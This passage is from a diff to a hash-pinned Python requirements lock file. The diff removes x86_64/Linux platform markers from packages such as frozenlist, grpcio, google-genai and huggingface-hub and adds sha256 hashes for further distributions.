--hash=sha256:b2fdd48b5e4236df145a149d7125badb28e0a383372add3fbaac9a6b7a394470 \ + --hash=sha256:b852a870a61cfc26c884af205d502881a2e59cc07076b60ab4a951cc0c94d1ad \ + --hash=sha256:b9a0ca4f03b7e0b01425281ffd44e99d360e15c895f1907ca105854ed85e2057 \ + --hash=sha256:bbb0c4b15d66b435d2538f3827f05e44e2baafcc003dd7d8472dc67807ab8fd8 \ + --hash=sha256:bcc96ee819c282e7c09b2eed2b9bd13084e3b749fdb2faf58c318d498df2efbe \ + --hash=sha256:c0a94245afae4d7af8c43b3159d5e3934c53f47140be0be624b96acd672ceb73 \ + --hash=sha256:c0eb25f0fd935e376ac4334927a59e7c823b36062080e2e13acbaf2af15db836 \ + --hash=sha256:c3091e63acf42f56a6f74dc65cfdb6f99bfc79b5913c8a9ac498eb7ca09770a8 \ + --hash=sha256:c501561e025b7aea3508719c5801c360c711d5218fc4ad5d77bf1c37c1a75779 \ + --hash=sha256:c7502d6f54cd08024c3ea9b3514e2d6f190feb2f46e6dbcd3747882264bb5f7b \ + --hash=sha256:caa1f14d2102cb8d353096bc6ef6c13b2c81f347e6ab9d6fbd48b9dea41c153d \ + --hash=sha256:cb9a030f609194b679e1660f7e32733b7a0f332d519c5d5a6a0a580991290022 \ + --hash=sha256:cd5a7f648d4365b41dbf0e38fe8da4884e57bed4e77c83598e076ac0c93995e7 \ + --hash=sha256:d23ef06f9e67163be38cece704170486715b177f6baae338110983f99a72c070 \ + --hash=sha256:d31f8c257046b5617fc6af9c69be066d2412bdef1edaa4bdf6a214cf57806105 \ + --hash=sha256:d55b7e96531216fc4f071909e33e35e5bfa47962ae67d9e84b00a04d6e8b7173 \ + --hash=sha256:d9e4332dc4ba054434a9594cbfaf7823b57993d7d8e7267831c3e059857cf397 \ + --hash=sha256:de01280eabcd82f7542828ecd67ebf1551d37203ecdfd7ab1f2e534edb78d505 \ + --hash=sha256:df61342889d0f5e7a32f7284e55ef95103f2110fee433c2ae7c2c0956d76ac8a \ + --hash=sha256:e0976c0dff7e222513d206e06341503f07423aceb1db0b83ff6851c008ceee06 \ + --hash=sha256:e150eab56c95dc9e3fefc234a0eedb342fac433dacc273cd4d150a5b0871e1fa \ + --hash=sha256:e23fc6a83f112de4be0cc1990e5b127c27663ae43f866353166f87df58e73d06 \ + --hash=sha256:ec27778c6ca3393ef662e2762dba8af13f4ec1aaa32d08d77f71f2a70ae9feb8 \ + --hash=sha256:f54d5b36c56a2d5e1a31e73b950b28a0d83eb0c37b91d10408875a5a29494bad \ + --hash=sha256:f74631b8322d2780ebcf2d2d75d58045c3e9378625ec51865fe0b5620800c39d +filelock==3.20.3 \ --hash=sha256:18c57ee915c7ec61cff0ecf7f0f869936c7c30191bb0cf406f1341778d0834e1 \ --hash=sha256:4b0dda527ee31078689fc205ec4f1c1bf7d56cf88b6dc9426c4f230e46c2dce1 -frozenlist==1.8.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +frozenlist==1.8.0 \ + --hash=sha256:0325024fe97f94c41c08872db482cf8ac4800d80e79222c6b0b7b162d5b13686 \ + --hash=sha256:032efa2674356903cd0261c4317a561a6850f3ac864a63fc1583147fb05a79b0 \ + --hash=sha256:03ae967b4e297f58f8c774c7eabcce57fe3c2434817d4385c50661845a058121 \ + --hash=sha256:06be8f67f39c8b1dc671f5d83aaefd3358ae5cdcf8314552c57e7ed3e6475bdd \ --hash=sha256:073f8bf8becba60aa931eb3bc420b217bb7d5b8f4750e6f8b3be7f3da85d38b7 \ + --hash=sha256:07cdca25a91a4386d2e76ad992916a85038a9b97561bf7a3fd12d5d9ce31870c \ + --hash=sha256:09474e9831bc2b2199fad6da3c14c7b0fbdd377cce9d3d77131be28906cb7d84 \ --hash=sha256:0c18a16eab41e82c295618a77502e17b195883241c563b00f0aa5106fc4eaa0d \ + --hash=sha256:0f96534f8bfebc1a394209427d0f8a63d343c9779cda6fc25e8e121b5fd8555b \ + --hash=sha256:102e6314ca4da683dca92e3b1355490fed5f313b768500084fbe6371fddfdb79 \ + --hash=sha256:11847b53d722050808926e785df837353bd4d75f1d494377e59b23594d834967 \ + --hash=sha256:119fb2a1bd47307e899c2fac7f28e85b9a543864df47aa7ec9d3c1b4545f096f \ + --hash=sha256:13d23a45c4cebade99340c4165bd90eeb4a56c6d8a9d8aa49568cac19a6d0dc4 \ + --hash=sha256:154e55ec0655291b5dd1b8731c637ecdb50975a2ae70c606d100750a540082f7 \ + --hash=sha256:168c0969a329b416119507ba30b9ea13688fafffac1b7822802537569a1cb0ef \ + --hash=sha256:17c883ab0ab67200b5f964d2b9ed6b00971917d5d8a92df149dc2c9779208ee9 \ + --hash=sha256:1a7607e17ad33361677adcd1443edf6f5da0ce5e5377b798fba20fae194825f3 \ + --hash=sha256:1a7fa382a4a223773ed64242dbe1c9c326ec09457e6b8428efb4118c685c3dfd \ + --hash=sha256:1aa77cb5697069af47472e39612976ed05343ff2e84a3dcf15437b232cbfd087 \ + --hash=sha256:1b9290cf81e95e93fdf90548ce9d3c1211cf574b8e3f4b3b7cb0537cf2227068 \ + --hash=sha256:20e63c9493d33ee48536600d1a5c95eefc870cd71e7ab037763d1fbb89cc51e7 \ --hash=sha256:21900c48ae04d13d416f0e1e0c4d81f7931f73a9dfa0b7a8746fb2fe7dd970ed \ + --hash=sha256:229bf37d2e4acdaf808fd3f06e854a4a7a3661e871b10dc1f8f1896a3b05f18b \ + --hash=sha256:2552f44204b744fba866e573be4c1f9048d6a324dfe14475103fd51613eb1d1f \ + --hash=sha256:27c6e8077956cf73eadd514be8fb04d77fc946a7fe9f7fe167648b0b9085cc25 \ + --hash=sha256:28bd570e8e189d7f7b001966435f9dac6718324b5be2990ac496cf1ea9ddb7fe \ + --hash=sha256:294e487f9ec720bd8ffcebc99d575f7eff3568a08a253d1ee1a0378754b74143 \ + --hash=sha256:29548f9b5b5e3460ce7378144c3010363d8035cea44bc0bf02d57f5a685e084e \ + --hash=sha256:2c5dcbbc55383e5883246d11fd179782a9d07a986c40f49abe89ddf865913930 \ + --hash=sha256:2dc43a022e555de94c3b68a4ef0b11c4f747d12c024a520c7101709a2144fb37 \ + --hash=sha256:2f05983daecab868a31e1da44462873306d3cbfd76d1f0b5b69c473d21dbb128 \ + --hash=sha256:33139dc858c580ea50e7e60a1b0ea003efa1fd42e6ec7fdbad78fff65fad2fd2 \ + --hash=sha256:332db6b2563333c5671fecacd085141b5800cb866be16d5e3eb15a2086476675 \ + --hash=sha256:33f48f51a446114bc5d251fb2954ab0164d5be02ad3382abcbfe07e2531d650f \ + --hash=sha256:34187385b08f866104f0c0617404c8eb08165ab1272e884abc89c112e9c00746 \ + --hash=sha256:342c97bf697ac5480c0a7ec73cd700ecfa5a8a40ac923bd035484616efecc2df \ + --hash=sha256:3462dd9475af2025c31cc61be6652dfa25cbfb56cbbf52f4ccfe029f38decaf8 \ --hash=sha256:39ecbc32f1390387d2aa4f5a995e465e9e2f79ba3adcac92d68e3e0afae6657c \ + --hash=sha256:3e0761f4d1a44f1d1a47996511752cf3dcec5bbdd9cc2b4fe595caf97754b7a0 \ --hash=sha256:3ede829ed8d842f6cd48fc7081d7a41001a56f1f38603f9d49bf3020d59a31ad \ + --hash=sha256:3ef2d026f16a2b1866e1d86fc4e1291e1ed8a387b2c333809419a2f8b3a77b82 \ + --hash=sha256:405e8fe955c2280ce66428b3ca55e12b3c4e9c336fb2103a4937e891c69a4a29 \ + --hash=sha256:42145cd2748ca39f32801dad54aeea10039da6f86e303659db90db1c4b614c8c \ + --hash=sha256:4314debad13beb564b708b4a496020e5306c7333fa9a3ab90374169a20ffab30 \ + --hash=sha256:433403ae80709741ce34038da08511d4a77062aa924baf411ef73d1146e74faf \ + --hash=sha256:44389d135b3ff43ba8cc89ff7f51f5a0bb6b63d829c8300f79a2fe4fe61bcc62 \ + --hash=sha256:48e6d3f4ec5c7273dfe83ff27c91083c6c9065af655dc2684d2c200c94308bb5 \ --hash=sha256:494a5952b1c597ba44e0e78113a7266e656b9794eec897b19ead706bd7074383 \ + --hash=sha256:4970ece02dbc8c3a92fcc5228e36a3e933a01a999f7094ff7c23fbd2beeaa67c \ + --hash=sha256:4e0c11f2cc6717e0a741f84a527c52616140741cd812a50422f83dc31749fb52 \ + --hash=sha256:50066c3997d0091c411a66e710f4e11752251e6d2d73d70d8d5d4c76442a199d \ + --hash=sha256:517279f58009d0b1f2e7c1b130b377a349405da3f7621ed6bfae50b10adf20c1 \ + --hash=sha256:54b2077180eb7f83dd52c40b2750d0a9f175e06a42e3213ce047219de902717a \ + --hash=sha256:5500ef82073f599ac84d888e3a8c1f77ac831183244bfd7f11eaa0289fb30714 \ + --hash=sha256:581ef5194c48035a7de2aefc72ac6539823bb71508189e5de01d60c9dcd5fa65 \ + --hash=sha256:59a6a5876ca59d1b63af8cd5e7ffffb024c3dc1e9cf9301b21a2e76286505c95 \ + --hash=sha256:5a3a935c3a4e89c733303a2d5a7c257ea44af3a56c8202df486b7f5de40f37e1 \ + --hash=sha256:5c1c8e78426e59b3f8005e9b19f6ff46e5845895adbde20ece9218319eca6506 \ + --hash=sha256:5d63a068f978fc69421fb0e6eb91a9603187527c86b7cd3f534a5b77a592b888 \ + --hash=sha256:667c3777ca571e5dbeb76f331562ff98b957431df140b54c85fd4d52eea8d8f6 \ --hash=sha256:6da155091429aeba16851ecb10a9104a108bcd32f6c1642867eadaee401c1c41 \ + --hash=sha256:6dc4126390929823e2d2d9dc79ab4046ed74680360fc5f38b585c12c66cdf459 \ + --hash=sha256:7398c222d1d405e796970320036b1b563892b65809d9e5261487bb2c7f7b5c6a \ + --hash=sha256:74c51543498289c0c43656701be6b077f4b265868fa7f8a8859c197006efb608 \ --hash=sha256:776f352e8329135506a1d6bf16ac3f87bc25b28e765949282dcc627af36123aa \ + --hash=sha256:778a11b15673f6f1df23d9586f83c4846c471a8af693a22e066508b77d201ec8 \ + --hash=sha256:78f7b9e5d6f2fdb88cdde9440dc147259b62b9d3b019924def9f6478be254ac1 \ + --hash=sha256:799345ab092bee59f01a915620b5d014698547afd011e691a208637312db9186 \ + --hash=sha256:7bf6cdf8e07c8151fba6fe85735441240ec7f619f935a5205953d58009aef8c6 \ + --hash=sha256:8009897cdef112072f93a0efdce29cd819e717fd2f649ee3016efd3cd885a7ed \ + --hash=sha256:80f85f0a7cc86e7a54c46d99c9e1318ff01f4687c172ede30fd52d19d1da1c8e \ + --hash=sha256:8585e3bb2cdea02fc88ffa245069c36555557ad3609e83be0ec71f54fd4abb52 \ + --hash=sha256:878be833caa6a3821caf85eb39c5ba92d28e85df26d57afb06b35b2efd937231 \ + --hash=sha256:8a76ea0f0b9dfa06f254ee06053d93a600865b3274358ca48a352ce4f0798450 \ + --hash=sha256:8b7b94a067d1c504ee0b16def57ad5738701e4ba10cec90529f13fa03c833496 \ + --hash=sha256:8d92f1a84bb12d9e56f818b3a746f3efba93c1b63c8387a73dde655e1e42282a \ + --hash=sha256:908bd3f6439f2fef9e85031b59fd4f1297af54415fb60e4254a95f75b3cab3f3 \ + --hash=sha256:92db2bf818d5cc8d9c1f1fc56b897662e24ea5adb36ad1f1d82875bd64e03c24 \ + --hash=sha256:940d4a017dbfed9daf46a3b086e1d2167e7012ee297fef9e1c545c4d022f5178 \ + --hash=sha256:957e7c38f250991e48a9a73e6423db1bb9dd14e722a10f6b8bb8e16a0f55f695 \ + --hash=sha256:96153e77a591c8adc2ee805756c61f59fef4cf4073a9275ee86fe8cba41241f7 \ + --hash=sha256:96f423a119f4777a4a056b66ce11527366a8bb92f54e541ade21f2374433f6d4 \ + --hash=sha256:97260ff46b207a82a7567b581ab4190bd4dfa09f4db8a8b49d1a958f6aa4940e \ --hash=sha256:974b28cf63cc99dfb2188d8d222bc6843656188164848c4f679e63dae4b0708e \ + --hash=sha256:9ff15928d62a0b80bb875655c39bf517938c7d589554cbd2669be42d97c2cb61 \ + --hash=sha256:a6483e309ca809f1efd154b4d37dc6d9f61037d6c6a81c2dc7a15cb22c8c5dca \ + --hash=sha256:a88f062f072d1589b7b46e951698950e7da00442fc1cacbe17e19e025dc327ad \ + --hash=sha256:ac913f8403b36a2c8610bbfd25b8013488533e71e62b4b4adce9c86c8cea905b \ + --hash=sha256:adbeebaebae3526afc3c96fad434367cafbfd1b25d72369a9e5858453b1bb71a \ + --hash=sha256:b2a095d45c5d46e5e79ba1e5b9cb787f541a8dee0433836cea4b96a2c439dcd8 \ --hash=sha256:b3210649ee28062ea6099cfda39e147fa1bc039583c8ee4481cb7811e2448c51 \ + --hash=sha256:b37f6d31b3dcea7deb5e9696e529a6aa4a898adc33db82da12e4c60a7c4d2011 \ + --hash=sha256:b4dec9482a65c54a5044486847b8a66bf10c9cb4926d42927ec4e8fd5db7fed8 \ + --hash=sha256:b4f3b365f31c6cd4af24545ca0a244a53688cad8834e32f56831c4923b50a103 \ + --hash=sha256:b6db2185db9be0a04fecf2f241c70b63b1a242e2805be291855078f2b404dd6b \ + --hash=sha256:b9be22a69a014bc47e78072d0ecae716f5eb56c15238acca0f43d6eb8e4a5bda \ + --hash=sha256:bac9c42ba2ac65ddc115d930c78d24ab8d4f465fd3fc473cdedfccadb9429806 \ + --hash=sha256:bf0a7e10b077bf5fb9380ad3ae8ce20ef919a6ad93b4552896419ac7e1d8e042 \ + --hash=sha256:c23c3ff005322a6e16f71bf8692fcf4d5a304aaafe1e262c98c6d4adc7be863e \ + --hash=sha256:c4c800524c9cd9bac5166cd6f55285957fcfc907db323e193f2afcd4d9abd69b \ + --hash=sha256:c7366fe1418a6133d5aa824ee53d406550110984de7637d65a178010f759c6ef \ + --hash=sha256:c8d1634419f39ea6f5c427ea2f90ca85126b54b50837f31497f3bf38266e853d \ + --hash=sha256:c9a63152fe95756b85f31186bddf42e4c02c6321207fd6601a1c89ebac4fe567 \ + --hash=sha256:cb89a7f2de3602cfed448095bab3f178399646ab7c61454315089787df07733a \ --hash=sha256:cba69cb73723c3f329622e34bdbf5ce1f80c21c290ff04256cff1cd3c2036ed2 \ - --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 -fsspec==2025.9.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:cee686f1f4cadeb2136007ddedd0aaf928ab95216e7691c63e50a8ec066336d0 \ + --hash=sha256:cf253e0e1c3ceb4aaff6df637ce033ff6535fb8c70a764a8f46aafd3d6ab798e \ + --hash=sha256:d1eaff1d00c7751b7c6662e9c5ba6eb2c17a2306ba5e2a37f24ddf3cc953402b \ + --hash=sha256:d3bb933317c52d7ea5004a1c442eef86f426886fba134ef8cf4226ea6ee1821d \ + --hash=sha256:d4d3214a0f8394edfa3e303136d0575eece0745ff2b47bd2cb2e66dd92d4351a \ + --hash=sha256:d6a5df73acd3399d893dafc71663ad22534b5aa4f94e8a2fabfe856c3c1b6a52 \ + --hash=sha256:d8b7138e5cd0647e4523d6685b0eac5d4be9a184ae9634492f25c6eb38c12a47 \ + --hash=sha256:db1e72ede2d0d7ccb213f218df6a078a9c09a7de257c2fe8fcef16d5925230b1 \ + --hash=sha256:e25ac20a2ef37e91c1b39938b591457666a0fa835c7783c3a8f33ea42870db94 \ + --hash=sha256:e2de870d16a7a53901e41b64ffdf26f2fbb8917b3e6ebf398098d72c5b20bd7f \ + --hash=sha256:e4a3408834f65da56c83528fb52ce7911484f0d1eaf7b761fc66001db1646eff \ + --hash=sha256:eaa352d7047a31d87dafcacbabe89df0aa506abb5b1b85a2fb91bc3faa02d822 \ + --hash=sha256:eab8145831a0d56ec9c4139b6c3e594c7a83c2c8be25d5bcf2d86136a532287a \ + --hash=sha256:ec3cc8c5d4084591b4237c0a272cc4f50a5b03396a47d9caaf76f5d7b38a4f11 \ + --hash=sha256:edee74874ce20a373d62dc28b0b18b93f645633c2943fd90ee9d898550770581 \ + --hash=sha256:eefdba20de0d938cec6a89bd4d70f346a03108a19b9df4248d3cf0d88f1b0f51 \ + --hash=sha256:ef2b7b394f208233e471abc541cc6991f907ffd47dc72584acee3147899d6565 \ + --hash=sha256:f21f00a91358803399890ab167098c131ec2ddd5f8f5fd5fe9c9f2c6fcd91e40 \ + --hash=sha256:f4be2e3d8bc8aabd566f8d5b8ba7ecc09249d74ba3c9ed52e54dc23a293f0b92 \ + --hash=sha256:f57fb59d9f385710aa7060e89410aeb5058b99e62f4d16b08b91986b9a2140c2 \ + --hash=sha256:f6292f1de555ffcc675941d65fffffb0a5bcd992905015f85d0592201793e0e5 \ + --hash=sha256:f833670942247a14eafbb675458b4e61c82e002a148f49e68257b79296e865c4 \ + --hash=sha256:fa47e444b8ba08fffd1c18e8cdb9a75db1b6a27f17507522834ad13ed5922b93 \ + --hash=sha256:fb30f9626572a76dfe4293c7194a09fb1fe93ba94c7d4f720dfae3b646b45027 \ + --hash=sha256:fe3c58d2f5db5fbd18c2987cba06d51b0529f52bc3a6cdc33d3f4eab725104bd +fsspec==2025.9.0 \ --hash=sha256:19fd429483d25d28b65ec68f9f4adc16c17ea2c7c7bf54ec61360d478fb19c19 \ --hash=sha256:530dc2a2af60a414a832059574df4a6e10cce927f6f4a78209390fe38955cfb7 -func-timeout==4.3.5 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +func-timeout==4.3.5 \ --hash=sha256:74cd3c428ec94f4edfba81f9b2f14904846d5ffccc27c92433b8b5939b5575dd -google-api-core==2.26.0 ; python_full_version < '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' \ - --hash=sha256:2b204bd0da2c81f918e3582c48458e24c11771f987f6258e6e227212af78f3ed \ - --hash=sha256:e6e6d78bd6cf757f4aee41dcc85b07f485fbb069d5daa3afb126defba1e91a62 -google-api-core==2.31.0 ; python_full_version >= '3.13' and platform_machine == 'x86_64' and sys_platform == 'linux' \ +google-api-core==2.31.0 \ --hash=sha256:2be84ee0f584c48e6bde1b36766e23348b361fb7e55e56135fc76ce1c397f9c2 \ --hash=sha256:ef79fb3784c71cbac89cbd03301ba0c8fb8ad2aa95d7f9204dd9628f7adf59ab -google-api-python-client==2.184.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +google-api-python-client==2.184.0 \ --hash=sha256:15a18d02f42de99416921c77be235d12ead474e474a1abc348b01a2b92633fa4 \ --hash=sha256:ef2a3330ad058cdfc8a558d199c051c3356f6ed012436c3ad3d08b67891b039f -google-auth==2.53.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +google-auth==2.53.0 \ --hash=sha256:6e7449917c599b35126a99ec268ec6880301f2fea41dce198fe8fd83ff642b68 \ --hash=sha256:e7e6aa16f6bee7b2b264830fd04f08087a1d5a836df516251a5d15327b246c9c -google-auth-httplib2==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +google-auth-httplib2==0.2.0 \ --hash=sha256:38aa7badf48f974f1eb9861794e9c0cb2a0511a4ec0679b1f886d108f5640e05 \ --hash=sha256:b65a0a2123300dd71281a7bf6e64d65a0759287df52729bdd1ae2e47dc311a3d -google-auth-oauthlib==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +google-auth-oauthlib==1.2.2 \ --hash=sha256:11046fb8d3348b296302dd939ace8af0a724042e8029c1b872d87fabc9f41684 \ --hash=sha256:fd619506f4b3908b5df17b65f39ca8d66ea56986e5472eb5978fd8f3786f00a2 -google-genai==1.75.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +google-genai==1.75.0 \ --hash=sha256:56bac3991b311c93f980c0a2abcd287b672146905df1fbd71c92ed633d5a07cf \ --hash=sha256:8dc4c096e7d6288c3087f6893f582fe52468932464781edb8193bd92b9fefb2c -googleapis-common-protos==1.70.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +googleapis-common-protos==1.70.0 \ --hash=sha256:0e1b44e0ea153e6594f9f394fef15193a68aaaea2d843f83e2742717ca753257 \ --hash=sha256:b8bfcca8c25a2bb253e0e0b0adaf8c00773e5e6af6fd92397576680b807e0fd8 -groq==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +groq==0.32.0 \ --hash=sha256:0ed0be290042f8826f851f3a1defaac4f979dcfce86ec4a0681a23af00ec800b \ --hash=sha256:fb1ade61f47a06d1a1c1dc0fab690d269b799ebd57ad1dd867efaeaa7adeb2af -grpcio==1.76.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +grpcio==1.76.0 \ + --hash=sha256:035d90bc79eaa4bed83f524331d55e35820725c9fbb00ffa1904d5550ed7ede3 \ + --hash=sha256:04bbe1bfe3a68bbfd4e52402ab7d4eb59d72d02647ae2042204326cf4bbad280 \ + --hash=sha256:063065249d9e7e0782d03d2bca50787f53bd0fb89a67de9a7b521c4a01f1989b \ + --hash=sha256:06c3d6b076e7b593905d04fdba6a0525711b3466f43b3400266f04ff735de0cd \ + --hash=sha256:08caea849a9d3c71a542827d6df9d5a69067b0a1efbea8a855633ff5d9571465 \ + --hash=sha256:0aaa82d0813fd4c8e589fac9b65d7dd88702555f702fb10417f96e2a2a6d4c0f \ + --hash=sha256:0b7604868b38c1bfd5cf72d768aedd7db41d78cb6a4a18585e33fb0f9f2363fd \ + --hash=sha256:0c37db8606c258e2ee0c56b78c62fc9dee0e901b5dbdcf816c2dd4ad652b8b0c \ --hash=sha256:1c9b93f79f48b03ada57ea24725d83a30284a012ec27eab2cf7e50a550cbbbcc \ + --hash=sha256:2107b0c024d1b35f4083f11245c0e23846ae64d02f40b2b226684840260ed054 \ --hash=sha256:2229ae655ec4e8999599469559e97630185fdd53ae1e8997d147b7c9b2b72cba \ + --hash=sha256:25a18e9810fbc7e7f03ec2516addc116a957f8cbb8cbc95ccc80faa072743d03 \ + --hash=sha256:26ef06c73eb53267c2b319f43e6634c7556ea37672029241a056629af27c10e2 \ + --hash=sha256:2e1743fbd7f5fa713a1b0a8ac8ebabf0ec980b5d8809ec358d488e273b9cf02a \ + --hash=sha256:32483fe2aab2c3794101c2a159070584e5db11d0aa091b2c0ea9c4fc43d0d749 \ + --hash=sha256:3bf0f392c0b806905ed174dcd8bdd5e418a40d5567a05615a030a5aeddea692d \ + --hash=sha256:3e2a27c89eb9ac3d81ec8835e12414d73536c6e620355d65102503064a4ed6eb \ + --hash=sha256:40ad3afe81676fd9ec6d9d406eda00933f218038433980aa19d401490e46ecde \ + --hash=sha256:4215d3a102bd95e2e11b5395c78562967959824156af11fa93d18fdd18050990 \ + --hash=sha256:45d59a649a82df5718fd9527ce775fd66d1af35e6d31abdcdc906a49c6822958 \ + --hash=sha256:45e0111e73f43f735d70786557dc38141185072d7ff8dc1829d6a77ac1471468 \ + --hash=sha256:479496325ce554792dba6548fae3df31a72cef7bad71ca2e12b0e58f9b336bfc \ + --hash=sha256:490fa6d203992c47c7b9e4a9d39003a0c2bcc1c9aa3c058730884bbbb0ee9f09 \ + --hash=sha256:49ce47231818806067aea3324d4bf13825b658ad662d3b25fada0bdad9b8a6af \ + --hash=sha256:4baf3cbe2f0be3289eb68ac8ae771156971848bb8aaff60bad42005539431980 \ + --hash=sha256:522175aba7af9113c48ec10cc471b9b9bd4f6ceb36aeb4544a8e2c80ed9d252d \ + --hash=sha256:5e8571632780e08526f118f74170ad8d50fb0a48c23a746bef2a6ebade3abd6f \ --hash=sha256:615ba64c208aaceb5ec83bfdce7728b80bfeb8be97562944836a7a0a9647d882 \ --hash=sha256:61f69297cba3950a524f61c7c8ee12e55c486cb5f7db47ff9dcee33da6f0d3ae \ + --hash=sha256:65a20de41e85648e00305c1bb09a3598f840422e522277641145a32d42dcefcc \ + --hash=sha256:6a15c17af8839b6801d554263c546c69c4d7718ad4321e3166175b37eaacca77 \ + --hash=sha256:747fa73efa9b8b1488a95d0ba1039c8e2dca0f741612d80415b1e1c560febf4e \ --hash=sha256:7be78388d6da1a25c0d5ec506523db58b18be22d9c37d8d3a32c08be4987bd73 \ + --hash=sha256:81fd9652b37b36f16138611c7e884eb82e0cec137c40d3ef7c3f9b3ed00f6ed8 \ + --hash=sha256:83d57312a58dcfe2a3a0f9d1389b299438909a02db60e2f2ea2ae2d8034909d3 \ + --hash=sha256:8843114c0cfce61b40ad48df65abcfc00d4dba82eae8718fab5352390848c5da \ + --hash=sha256:8cc3309d8e08fd79089e13ed4819d0af72aa935dd8f435a195fd152796752ff2 \ + --hash=sha256:8ebe63ee5f8fa4296b1b8cfc743f870d10e902ca18afc65c68cf46fd39bb0783 \ + --hash=sha256:8eddfb4d203a237da6f3cc8a540dad0517d274b5a1e9e636fd8d2c79b5c1d397 \ + --hash=sha256:922fa70ba549fce362d2e2871ab542082d66e2aaf0c19480ea453905b01f384e \ --hash=sha256:931091142fd8cc14edccc0845a79248bc155425eee9a98b2db2ea4f00a235a42 \ - --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 -h11==0.16.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:971fd5a1d6e62e00d945423a567e42eb1fa678ba89072832185ca836a94daaa6 \ + --hash=sha256:980a846182ce88c4f2f7e2c22c56aefd515daeb36149d1c897f83cf57999e0b6 \ + --hash=sha256:9d9adda641db7207e800a7f089068f6f645959f2df27e870ee81d44701dd9db3 \ + --hash=sha256:9f8f757bebaaea112c00dba718fc0d3260052ce714e25804a03f93f5d1c6cc11 \ + --hash=sha256:a6ae758eb08088d36812dd5d9af7a9859c05b1e0f714470ea243694b49278e7b \ + --hash=sha256:a8c2cf1209497cf659a667d7dea88985e834c24b7c3b605e6254cbb5076d985c \ + --hash=sha256:acab0277c40eff7143c2323190ea57b9ee5fd353d8190ee9652369fae735668a \ + --hash=sha256:b331680e46239e090f5b3cead313cc772f6caa7d0fc8de349337563125361a4a \ + --hash=sha256:c088e7a90b6017307f423efbb9d1ba97a22aa2170876223f9709e9d1de0b5347 \ + --hash=sha256:d099566accf23d21037f18a2a63d323075bebace807742e4b0ac210971d4dd70 \ + --hash=sha256:d388087771c837cdb6515539f43b9d4bf0b0f23593a24054ac16f7a960be16f4 \ + --hash=sha256:dcfe41187da8992c5f40aa8c5ec086fa3672834d2be57a32384c08d5a05b4c00 \ + --hash=sha256:e6d1db20594d9daba22f90da738b1a0441a7427552cc6e2e3d1297aeddc00378 \ + --hash=sha256:ebea5cc3aa8ea72e04df9913492f9a96d9348db876f9dda3ad729cfedf7ac416 \ + --hash=sha256:ebebf83299b0cb1721a8859ea98f3a77811e35dce7609c5c963b9ad90728f886 \ + --hash=sha256:f0e34c2079d47ae9f6188211db9e777c619a21d4faba6977774e8fa43b085e48 \ + --hash=sha256:f92f88e6c033db65a5ae3d97905c8fea9c725b63e28d5a75cb73b49bda5024d8 \ + --hash=sha256:f9f7bd5faab55f47231ad8dba7787866b69f5e93bc306e3915606779bbfb4ba8 \ + --hash=sha256:fd5ef5932f6475c436c4a55e4336ebbe47bd3272be04964a03d316bbf4afbcbc \ + --hash=sha256:ff8a59ea85a1f2191a0ffcc61298c571bc566332f82e5f5be1b83c9d8e668a62 +h11==0.16.0 \ --hash=sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1 \ --hash=sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86 -hf-xet==1.1.10 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +hf-xet==1.1.10 \ + --hash=sha256:0a0005fd08f002180f7a12d4e13b22be277725bc23ed0529f8add5c7a6309c06 \ --hash=sha256:408aef343800a2102374a883f283ff29068055c111f003ff840733d3b715bb97 \ + --hash=sha256:5f54b19cc347c13235ae7ee98b330c26dd65ef1df47e5316ffb1e87713ca7045 \ + --hash=sha256:686083aca1a6669bc85c21c0563551cbcdaa5cf7876a91f3d074a030b577231d \ --hash=sha256:6b6bceb6361c80c1cc42b5a7b4e3efd90e64630bcf11224dcac50ef30a47e435 \ + --hash=sha256:71081925383b66b24eedff3013f8e6bbd41215c3338be4b94ba75fd75b21513b \ + --hash=sha256:eae7c1fc8a664e54753ffc235e11427ca61f4b0477d757cc4eb9ae374b69f09c \ --hash=sha256:f900481cf6e362a6c549c61ff77468bd59d6dd082f3170a36acfef2eb6a6793f -httpcore==1.0.9 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +httpcore==1.0.9 \ --hash=sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55 \ --hash=sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8 -httplib2==0.32.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +httplib2==0.32.0 \ --hash=sha256:48a0ef30a42db65d8f3399045e1d09ab0ba66e3b9efc360d07f80ea55d286025 \ --hash=sha256:dc6705cacdf3fb0a2aba7629fa33c90fd93e30035db0c157325826be177e4816 -httpx==0.28.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +httpx==0.28.1 \ --hash=sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc \ --hash=sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad -httpx-sse==0.4.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +httpx-sse==0.4.3 \ --hash=sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc \ --hash=sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d -huggingface-hub==0.35.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +huggingface-hub==0.35.3 \ --hash=sha256:0e3a01829c19d86d03793e4577816fe3bdfc1602ac62c7fb220d593d351224ba \ 